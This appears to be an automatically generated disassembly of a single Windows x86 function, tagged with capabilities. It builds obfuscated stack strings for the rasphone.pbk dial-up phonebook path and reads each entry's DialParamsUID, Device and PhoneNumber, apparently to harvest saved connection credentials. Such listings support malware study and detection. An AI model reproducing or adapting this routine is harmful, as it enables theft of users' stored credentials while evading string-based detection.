Function at 0x404560
Capabilities:
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
sub esp, 0x878
push ebx
push ebp
mov ebp, ecx
mov ebx, 0x5c
mov al, 0x70
mov cl, 0x6b
mov dl, 0x2e
push esi
push edi
mov byte [esp + 0x84], bl
mov byte [esp + 0x85], 0x41
mov byte [esp + 0x86], al
mov byte [esp + 0x87], al
mov byte [esp + 0x88], 0x6c
mov byte [esp + 0x89], 0x69
mov byte [esp + 0x8a], 0x63
mov byte [esp + 0x8b], 0x61
mov byte [esp + 0x8c], 0x74
mov byte [esp + 0x8d], 0x69
mov byte [esp + 0x8e], 0x6f
mov byte [esp + 0x8f], 0x6e
mov byte [esp + 0x90], 0x20
mov byte [esp + 0x91], 0x44
mov byte [esp + 0x92], 0x61
mov byte [esp + 0x93], 0x74
mov byte [esp + 0x94], 0x61
mov byte [esp + 0x95], bl
mov byte [esp + 0x96], 0x4d
mov byte [esp + 0x97], 0x69
mov byte [esp + 0x98], 0x63
mov byte [esp + 0x99], 0x72
mov byte [esp + 0x9a], 0x6f
mov byte [esp + 0x9b], 0x73
mov byte [esp + 0x9c], 0x6f
mov byte [esp + 0x9d], 0x66
mov byte [esp + 0x9e], 0x74
mov byte [esp + 0x9f], bl
mov byte [esp + 0xa0], 0x4e
mov byte [esp + 0xa1], 0x65
mov byte [esp + 0xa2], 0x74
mov byte [esp + 0xa3], 0x77
mov byte [esp + 0xa4], 0x6f
mov byte [esp + 0xa5], 0x72
mov byte [esp + 0xa6], cl
mov byte [esp + 0xa7], bl
mov byte [esp + 0xa8], 0x43
mov byte [esp + 0xa9], 0x6f
mov byte [esp + 0xaa], 0x6e
mov byte [esp + 0xab], 0x6e
mov byte [esp + 0xac], 0x65
mov byte [esp + 0xad], 0x63
mov byte [esp + 0xae], 0x74
mov byte [esp + 0xaf], 0x69
mov byte [esp + 0xb0], 0x6f
mov byte [esp + 0xb1], 0x6e
mov byte [esp + 0xb2], 0x73
mov byte [esp + 0xb3], bl
mov byte [esp + 0xb4], al
mov byte [esp + 0xb5], 0x62
mov byte [esp + 0xb6], cl
mov byte [esp + 0xb7], bl
mov byte [esp + 0xb8], 0x72
mov byte [esp + 0xb9], 0x61
mov byte [esp + 0xba], 0x73
mov byte [esp + 0xbb], al
mov byte [esp + 0xbc], 0x68
mov byte [esp + 0xbd], 0x6f
mov byte [esp + 0xbe], 0x6e
mov byte [esp + 0xbf], 0x65
mov byte [esp + 0xc0], dl
mov byte [esp + 0xc1], al
mov byte [esp + 0xc2], 0x62
mov byte [esp + 0xc3], cl
mov byte [esp + 0xc4], 0
mov byte [esp + 0x54], 0x4d
mov byte [esp + 0x55], 0x69
mov byte [esp + 0x56], 0x63
mov byte [esp + 0x57], 0x72
mov byte [esp + 0x58], 0x6f
mov byte [esp + 0x59], 0x73
mov byte [esp + 0x5a], 0x6f
mov byte [esp + 0x72], al
mov byte [esp + 0x79], al
mov byte [esp + 0x7f], al
lea eax, [esp + 0x178]
push 0x105
push eax
mov byte [esp + 0x63], 0x66
mov byte [esp + 0x64], 0x74
mov byte [esp + 0x65], bl
mov byte [esp + 0x66], 0x4e
mov byte [esp + 0x67], 0x65
mov byte [esp + 0x68], 0x74
mov byte [esp + 0x69], 0x77
mov byte [esp + 0x6a], 0x6f
mov byte [esp + 0x6b], 0x72
mov byte [esp + 0x6c], cl
mov byte [esp + 0x6d], bl
mov byte [esp + 0x6e], 0x43
mov byte [esp + 0x6f], 0x6f
mov byte [esp + 0x70], 0x6e
mov byte [esp + 0x71], 0x6e
mov byte [esp + 0x72], 0x65
mov byte [esp + 0x73], 0x63
mov byte [esp + 0x74], 0x74
mov byte [esp + 0x75], 0x69
mov byte [esp + 0x76], 0x6f
mov byte [esp + 0x77], 0x6e
mov byte [esp + 0x78], 0x73
mov byte [esp + 0x79], bl
mov byte [esp + 0x7b], 0x62
mov byte [esp + 0x7c], cl
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], 0x72
mov byte [esp + 0x7f], 0x61
mov byte [esp + 0x80], 0x73
mov byte [esp + 0x82], 0x68
mov byte [esp + 0x83], 0x6f
mov byte [esp + 0x84], 0x6e
mov byte [esp + 0x85], 0x65
mov byte [esp + 0x86], dl
mov byte [esp + 0x88], 0x62
mov byte [esp + 0x89], cl
mov byte [esp + 0x8a], 0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x178]
push ecx
push ebx
push edx
mov byte [esp + 0x48], 0x44
mov byte [esp + 0x49], 0x6f
mov byte [esp + 0x4a], 0x63
mov byte [esp + 0x4b], 0x75
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x65
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x74
mov byte [esp + 0x50], 0x73
mov byte [esp + 0x51], 0x20
mov byte [esp + 0x52], 0x61
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], 0x64
mov byte [esp + 0x55], 0x20
mov byte [esp + 0x56], 0x53
mov byte [esp + 0x57], 0x65
mov byte [esp + 0x58], 0x74
mov byte [esp + 0x59], 0x74
mov byte [esp + 0x5a], 0x69
mov byte [esp + 0x5b], 0x6e
mov byte [esp + 0x5c], 0x67
mov byte [esp + 0x5d], 0x73
mov byte [esp + 0x5e], bl
mov byte [esp + 0x5f], 0
call sub.MSVCRT.dll_strchr
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, dword [ebp + 0x14]
lea ecx, [esp + 0x178]
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ecx
call esi
lea edx, [esp + 0x84]
lea eax, [esp + 0x178]
push edx
push eax
call esi
push 0
lea ecx, [esp + 0x384]
push 0x23
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov al, 0x25
lea edx, [esp + 0x54]
mov byte [esp + 0x10], al
mov byte [esp + 0x13], al
lea eax, [esp + 0x380]
push edx
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x388]
push ecx
push edx
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], bl
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0xe4]
lea eax, [esp + 0x178]
lea ecx, [esp + 0x380]
push edx
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xe8], 0x94
call dword [0x477d44]
mov eax, dword [esp + 0xf4]
mov edi, 2
cmp eax, edi
jne 0x4049e3
cmp dword [esp + 0xe8], 5
jb 0x4049e3
mov ecx, ebp
call fcn.00404400
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
lea eax, [esp + 0xe0]
add esp, 4
mov dword [esp + 0xd8], esi
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], edi
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc8]
mov eax, dword [ecx]
push eax
push 0x1000
push esi
mov dword [esp + 0xdc], eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionNamesA]
cmp byte [esi], 0
je 0x404c9f
push esi
mov ecx, ebp
call fcn.00405140
mov dword [esp + 0xd4], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x280]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x588]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x688]
mov edx, dword [esp + 0xd0]
mov byte [esp + 0x39], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x488]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x788]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x284]
push 0x100
push eax
lea ecx, [esp + 0x38]
push 0
push ecx
push esi
mov byte [esp + 0x44], 0x44
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], 0x61
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0x50
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x73
mov byte [esp + 0x4e], 0x55
mov byte [esp + 0x4f], 0x49
mov byte [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
test eax, eax
jle 0x404b81
mov eax, dword [ebp + 0x10]
xor ebx, ebx
test eax, eax
jle 0x404b81
xor edi, edi
mov ecx, dword [ebp + 0x1c]
mov edx, edi
add edx, ecx
lea eax, [esp + 0x280]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x404b37
mov eax, dword [ebp + 0x10]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x404b0d
jmp 0x404b81
mov ecx, dword [ebp + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [esp + 0x588]
lea edx, [edi + ecx + 0x200]
push edx
push eax
call ebx
mov ecx, dword [ebp + 0x1c]
lea eax, [esp + 0x688]
lea edx, [edi + ecx + 0x100]
push edx
push eax
call ebx
mov ecx, dword [ebp + 0x1c]
mov byte [edi + ecx + 0x300], 1
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp + 8], eax
mov edi, dword [esp + 0xd0]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push edi
lea edx, [esp + 0x48c]
push 0x100
push edx
lea eax, [esp + 0x2c]
push 0
push eax
push esi
mov byte [esp + 0x30], 0x44
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x76
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x63
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], 0
mov byte [esp + 0x38], 0x50
mov byte [esp + 0x39], 0x68
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x65
mov byte [esp + 0x3d], 0x4e
mov byte [esp + 0x3e], 0x75
mov byte [esp + 0x3f], 0x6d
mov byte [esp + 0x40], 0x62
mov byte [esp + 0x41], 0x65
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0
call ebx
push edi
lea ecx, [esp + 0x78c]
push 0x100
push ecx
lea edx, [esp + 0x24]
push 0
push edx
push esi
call ebx
lea eax, [esp + 0x788]
mov ecx, ebp
push eax
call fcn.00405140
lea ecx, [esp + 0x588]
mov edi, eax
push ecx
mov ecx, ebp
call fcn.00405140
mov ecx, dword [esp + 0xd4]
mov ebx, eax
lea edx, [esp + 0x488]
push edi
lea eax, [esp + 0x68c]
push edx
push eax
push ebx
lea edx, [esp + 0x290]
push ecx
push edx
mov ecx, ebp
call fcn.00404ce0
mov eax, dword [esp + 0xd4]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x404a3f
mov esi, dword [esp + 0xd8]
mov ecx, dword [esp + 0xc8]
mov eax, dword [esp + 0xcc]
add ecx, 4
dec eax
mov dword [esp + 0xc8], ecx
mov dword [esp + 0xcc], eax
jne 0x404a0e
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x878
ret